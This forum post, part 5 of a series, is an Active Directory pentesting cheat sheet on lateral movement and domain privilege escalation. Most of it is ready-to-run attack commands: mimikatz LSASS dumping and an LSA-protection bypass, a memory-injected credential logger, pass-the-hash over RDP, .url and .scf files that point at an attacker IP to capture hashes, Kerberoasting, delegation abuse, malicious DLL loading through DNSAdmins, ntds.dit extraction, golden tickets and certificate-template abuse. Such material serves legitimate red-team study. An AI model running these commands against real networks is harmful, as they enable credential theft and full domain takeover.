Pentesting Active Directory - Part 5 | Lateral Movement, Privilege Escalation & Tools

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• <u>17 days ago</u>



Let's learn about Lateral movement, privilege escalation and some amazing tools that you can add to your arsenal


Introduction

Once inside the network, the adversary will seek to escalate their privileges and compromise additional systems in order to locate sensitive data or reach other critical resources. They also want to maintain their access. To achieve this persistence, they might create new user accounts, modify settings or even install backdoors.

This is where attack paths come into play. By leveraging an attack path, an adversary can escalate their privileges from ordinary user to administrator and even to Domain Admin, which gives them unlimited power in the domain.

Moreover, by compromising authorized user and admin accounts, adversaries can make their activity difficult to spot. And once they have claimed sufficient privileges, they can further evade detection by causing systems to falsely report that everything is working normally.

Lateral Movement



PowerShell Remoting

#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)
\$sess = New-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>

Remote Code Execution with PS Credentials

\$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
\$Cred = New-Object System.Management.Automation.PSCredential('htb.local\
<WtverUser>', \$SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential \$Cred -ScriptBlock
{whoami}

Import a PowerShell Module and Execute its Functions Remotely

#Execute the command and start a session
Invoke-Command -Credential \$cred -ComputerName <NameOfComputer> -FilePath
c:\FilePath\file.ps1 -Session \$sess

#Interact with the session
Enter-PSSession -Session \$sess

Executing Remote Stateful commands

```
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}
```

Mimikatz

#The commands are in cobalt strike format! #Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords #(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN> #List all available kerberos tickets in memory mimikatz sekurlsa::tickets **#Dump local Terminal Services credentials** mimikatz sekurlsa::tspkg #Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp #List cached MasterKeys mimikatz sekurlsa::dpapi #List local Kerberos AES Keys mimikatz sekurlsa::ekeys **#Dump SAM Database** mimikatz lsadump::sam **#Dump SECRETS Database** mimikatz lsadump::secrets #Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject #Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain:<DomainFQDN> /all #Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<DomainFQDN>\<user> /history #List and Dump local kerberos credentials mimikatz kerberos::list /dump **#Pass The Ticket** mimikatz kerberos::ptt <PathToKirbiFile> #List TS/RDP sessions

mimikatz ts::sessions

#List Vault credentials mimikatz vault::list

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:exclamation: What if mimikatz fails to dump credentials because of LSA Protection controls?

• LSA as a Protected Process (Kernel Land Bypass)

```
#Check if LSA runs as a protected process by looking if the variable
"RunAsPPL" is set to 0x1
  reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

#Next upload the mimidriver.sys from the official mimikatz repo to same
folder of your mimikatz.exe
  #Now lets import the mimidriver.sys to the system
  mimikatz # !+

#Now lets remove the protection flags from lsass.exe process
  mimikatz # !processprotect /process:lsass.exe /remove

#Finally run the logonpasswords function to dump lsass
  mimikatz # sekurlsa::logonpasswords
```

- LSA as a Protected Process (Userland "Fileless" Bypass)
 - PPLdump
 - Bypassing LSA Protection in Userland
- LSA is running as virtualized process (LSAISO) by Credential Guard

#Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso

#If it does there isn't a way tou dump lsass, we will only get encrypted
data. But we can still use keyloggers or clipboard dumpers to capture data.
#Lets inject our own malicious Security Support Provider into memory, for
this example i'll use the one mimikatz provides
 mimikatz # misc::memssp

#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log

- Detailed Mimikatz Guide
- Poking Around With 2 Isass Protection Options

Remote Desktop Protocol

If the host we want to lateral move to has "RestrictedAdmin" enabled, we can pass the hash using the RDP protocol and get an interactive session without the plaintext password.

Mimikatz:

```
#We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe
with the "/restrictedadmin" flag
  privilege::debug
  sekurlsa::pth /user:<Username> /domain:<DomainName> /ntlm:<NTLMHash>
/run:"mstsc.exe /restrictedadmin"

#Then just click ok on the RDP dialogue and enjoy an interactive session as
the user we impersonated
```

xFreeRDP:

```
xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u:<Username> /pth:<NTLMHash> /v:<Hostname | IPAddress>
```

:exclamation: If Restricted Admin mode is disabled on the remote machine we can connect on the host using another tool/protocol like psexec or winrm and enable it by creating the following registry key and setting it's value zero: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".

URL File Attacks

.url file

```
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\<AttackersIp>\%USERNAME%.icon
IconIndex=1

[InternetShortcut]
URL=file://<AttackersIp>/leak/leak.html
```

.scf file

```
[Shell]
Command=2
IconFile=\\<AttackersIp>\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```

Putting these files in a writeable share the victim only has to open the file explorer and navigate to the share. **Note** that the file doesn't need to be opened or the user to interact with it, but it must be on the top of the file system or just visible in the windows explorer window in order to be rendered. Use responder to capture the hashes.

:exclamation: .scf file attacks won't work on the latest versions of Windows.

Useful Tools

- <u>Powercat</u> netcat written in powershell, and provides tunneling, relay and portforward capabilities.
- <u>SCShell</u> fileless lateral movement tool that relies on ChangeServiceConfigA to run command
- Evil-Winrm the ultimate WinRM shell for hacking/pentesting
- RunasCs Csharp and open version of windows builtin runas.exe
- ntlm theft creates all possible file formats for url file attacks

Domain Privilege Escalation

Kerberoast

WUT IS DIS?: \

All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user" account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline.

PowerView:

```
#Get User Accounts that are used as Service Accounts
Get-NetUser -SPN

#Get every available SPN account, request a TGS and dump its hash
Invoke-Kerberoast

#Requesting the TGS for a single account:
Request-SPNTicket

#Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

AD Module:

```
#Get User Accounts that are used as Service Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties
ServicePrincipalName
```

· Impacket:

```
python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile
<FileName>
```

· Rubeus:

```
#Kerberoasting and outputing on a file with a spesific format
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>

#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast
AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec

#Kerberoast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes

#Kerberoast spesific user account
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:
<username> /simple

#Kerberoast by specifying the authentication credentials
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:
<username> /credpassword:<password>
```

ASREPRoast

WUT IS DIS?:\

If a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted blob and bruteforce it offline.

- PowerView: Get-DomainUser -PreauthNotRequired -Verbose
- AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq \$True} -Properties DoesNotRequirePreAuth

Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts:

Hint: We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because Machine Account hashes are not crackable!

PowerView:

```
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -
Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose
```

And finally execute the attack using the <u>ASREPRoast</u> tool.

```
#Get a spesific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose

#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose
```

• Using Rubeus:

```
#Trying the attack for all domain users
Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:
<filename>

#ASREPRoast spesific user
Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:
<DomainName> /outfile:<filename>

#ASREPRoast users of a spesific OU (Organization Unit)
Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:
<DomainName> /outfile:<filename>
```

Using Impacket:

```
#Trying the attack for the specified users on the file
  python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile
<FileName>
```

Password Spray Attack

If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse on other domain accounts.

Tools:

- DomainPasswordSpray
- CrackMapExec
- Invoke-CleverSpray
- <u>Spray</u>

Force Set SPN

WUT IS DIS ?:

If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it.

PowerView:

```
#Check for interesting permissions on accounts:
   Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match
"RDPUsers"}

#Check if current user has already an SPN setted:
   Get-DomainUser -Identity <UserName> | select serviceprincipalname

#Force set the SPN on the account:
   Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
```

AD Module:

```
#Check if current user has already an SPN setted
Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select
ServicePrincipalName

#Force set the SPN on the account:
   Set-ADUser -Identiny <UserName> -ServicePrincipalNames
@{Add='ops/whatever1'}
```

Finally use any tool from before to grab the hash and kerberoast it!

Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Domain Escalation.

```
#List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows

#List shadow copies using diskshadow
diskshadow list shadows all

#Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```

- 1. You can dump the backuped SAM database and harvest credentials.
- 2. Look for DPAPI stored creds and decrypt them.
- 3. Access backuped sensitive files.

List and Decrypt Stored Credentials using Mimikatz

Usually encrypted credentials are stored in:

- %appdata%\Microsoft\Credentials
- %localappdata%\Microsoft\Credentials

#By using the cred function of mimikatz we can enumerate the cred object and get information about it:

dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential #Lets enumerate the Master Key:

dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:

dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:

dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

Detailed Article:

DPAPI all the things

Unconstrained Delegation

WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a

high value target or DA to connect to it, steal his TGT then ptt and impersonate him!

Using PowerView:

#Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server
Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll
<TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay
<WaitInterval> -Verbose

#Dump the tickets to disk:

Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack:

Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'

Note: We can also use Rubeus!

Constrained Delegation

Using PowerView and Kekeo:

```
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:
<Service's SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'
```

ALTERNATIVE:

Using Rubeus:

```
Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice: <Optional> /ptt
```

Now we can access the service as the impersonated user!

:triangular_flag_on_post: What if we have delegation rights for only a spesific SPN? (e.g TIME):

In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.

Resource Based Constrained Delegation

WUT IS DIS?: \

TL:DR \

If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.

Tools we are going to use:

- PowerView
- Powermad
- Rubeus

First we need to enter the security context of the user/machine account that has the privileges over the object.

If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.

Exploitation Example:

```
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <a href="MachineAccountName">MachineAccountName</a> -Password $(ConvertTo-
SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid |
Select -Expand objectsid
#Then by using the SID we are going to build an ACE for the new created machine
account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#Next, we need to set the security descriptor in the msDS-
AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking
over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#After that we need to get the RC4 hash of the new machine account's password
using Rubeus
Rubeus.exe hash /password:'p@ssword!'
#And for this example, we are going to impersonate Domain Administrator on the
cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword>
/impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain
/domain:wtver.domain /ptt
#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
```

Detailed Articles:

- Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
- RESOURCE-BASED CONSTRAINED DELEGATION ABUSE

:exclamation: In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from

rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.

```
#Command on Rubeus
Rubeus.exe tgtdeleg /nowrap
```

Detailed Article:

Rubeus - Now With More Kekeo

DNSAdmins Abuse

WUT IS DIS?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work.

- 1. Enumerate the members of the DNSAdmins group:
 - PowerView: Get-NetGroupMember -GroupName "DNSAdmins"
 - AD Module: Get-ADGroupMember -Identiny DNSAdmins
- 2. Once we found a member of this group we need to compromise it (There are many ways).
- 3. Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges:

```
#Using dnscmd:
    dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll
\\Path\To\Our\Dll\malicious.dll

#Restart the DNS Service:
    sc \\DNSServer stop dns
    sc \\DNSServer start dns
```

Abusing Active Directory-Integraded DNS

- Exploiting Active Directory-Integrated DNS
- ADIDNS Revisited
- Inveigh

Abusing Backup Operators Group

WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators

group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC,

extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.

1. Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:

```
#Create a .txt file that will contain the shadow copy process script
Script ->{
  set context persistent nowriters
  set metadata c:\windows\system32\spool\drivers\color\example.cab
  set verbose on
  begin backup
  add volume c: alias mydrive

create

expose %mydrive% w:
end backup
}

#Execute diskshadow with our script as parameter
diskshadow /s script.txt
```

2. Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just

simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use this amazing repo:

```
#Importing both dlls from the repo using powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

#Checking if the SeBackupPrivilege is enabled
Get-SeBackupPrivilege

#If it isn't we enable it
Set-SeBackupPrivilege

#Use the functionality of the dlls to copy the ntds.dit database file from
the shadow copy to a location of our choice
    Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\
<PathToSave>\ntds.dit -Overwrite

#Dump the SYSTEM hive
reg save HKLM\SYSTEM c:\temp\system.hive
```

- 3. Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.
- 4. Use secretsdump.py from impacket and dump the hashes.
- 5. Use psexec or another tool of your choice to PTH and get Domain Admin access.

Abusing Exchange

Weaponizing Printer Bug

Abusing ACLs

Abusing IPv6 with mitm6

SID History Abuse

WUT IS DIS?: If we manage to compromise a child domain of a forest and <u>SID filtering</u> isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the <u>SID History</u> field on a kerberos TGT ticket, that defines the "extra" security groups and privileges.

Exploitation example:

```
#Get the SID of the Current Domain using PowerView
Get-DomainSID -Domain current.root.domain.local
#Get the SID of the Root Domain using PowerView
Get-DomainSID -Domain root.domain.local
#Create the Enteprise Admins SID
Format: RootDomainSID-519
#Forge "Extra" Golden Ticket using mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:
<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0
/endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
#Inject the ticket into memory
kerberos::ptt \path\to\ticket\golden.kirbi
#List the DC of the Root Domain
dir \\dc.root.domain.local\C$
#Or DCsync and dump the hashes using mimikatz
lsadump::dcsync /domain:root.domain.local /all
```

Detailed Articles:

Exploiting SharePoint

- CVE-2019-0604 RCE Exploitation \ PoC
- CVE-2019-1257 Code execution through BDC deserialization
- <u>CVE-2020-0932</u> RCE using typeconverters \ <u>PoC</u>

PrintNightmare

Active Directory Certificate Services

Check for Vulnerable Certificate Templates with: Certify

Note: Certify can be executed with Cobalt Strike's execute-assembly command as well

```
.\Certify.exe find /vulnerable /quiet
```

Make sure the msPKI-Certificates-Name-Flag value is set to "ENROLLEE_SUPPLIES_SUBJECT" and that the Enrollment Rights allow Domain/Authenticated Users. Additionally, check that the pkiextendedkeyusage parameter contains the "Client Authentication" value as well as that the "Authorized Signatures Required" parameter is set to 0.

This exploit only works because these settings enable server/client authentication, meaning an attacker can specify the UPN of a Domain Admin ("DA") and use the captured certificate with Rubeus to forge authentication.

Note: If a Domain Admin is in a Protected Users group, the exploit may not work as intended. Check before choosing a DA to target.

Request the DA's Account Certificate with Certify

```
.\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>" /domain: <domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<Domain Admin AltName> /machine
```

This should return a valid certificate for the associated DA account.

The exported cert.pem and cert.key files must be consolidated into a single cert.pem file, with one gap of whitespace between the END RSA PRIVATE KEY and the BEGIN CERTIFICATE.

Example of cert.pem:

```
-----BEGIN RSA PRIVATE KEY-----
BIIEOGIBAAk15x0ID[...]
[...]
[...]
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
BIIEOGIBOMGAWIDSE[...]
[...]
[...]
-----END CERTIFICATE-----
```

#Utilize openss1 to Convert to PKCS #12 Format

The openss1 command can be utilized to convert the certificate file into PKCS #12 format (you may be required to enter an export password, which can be anything you like).

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Once the cert.pfx file has been exported, upload it to the compromised host (this can be done in a variety of ways, such as with Powershell, SMB, certutil.exe, Cobalt Strike's upload functionality, etc.)

After the cert.pfx file has been uploaded to the compromised host, <u>Rubeus</u> can be used to request a Kerberos TGT for the DA account which will then be imported into memory.

.\Rubeus.exe asktht /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt

This should result in a successfully imported ticket, which then enables an attacker to perform various malicious acitivities under DA user context, such as performing a DCSync attack.

No PAC

Arsenal

- crackmapexec Windows/Active directory lateral movement toolkit
- WMIOps WMI remote commands
- PowerLessShell Remote PowerShell without PowerShell
- PsExec Light-weight telnet-replacement
- <u>LiquidSnake</u> Fileless lateral movement
- Enabling RDP Windows RDP enable command
- <u>Upgrading shell to meterpreter</u> Reverse shell improvement
- Forwarding Ports Local port forward command
- Jenkins reverse shell Jenkins shell command
- ADFSpoof Forge AD FS security tokens
- kerbrute A tool to perform Kerberos pre-auth bruteforcing
- SCShell https://lnkd.in/e256fC8B
- MoveKit https://lnkd.in/eR-NUu U
- ImPacket https://lnkd.in/euG4hTTs

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<u>admiralarjun</u> changed the title to **Pentesting Active Directory - Part 5 | Lateral Movement, Privilege Escalation & Tools** 13 days ago.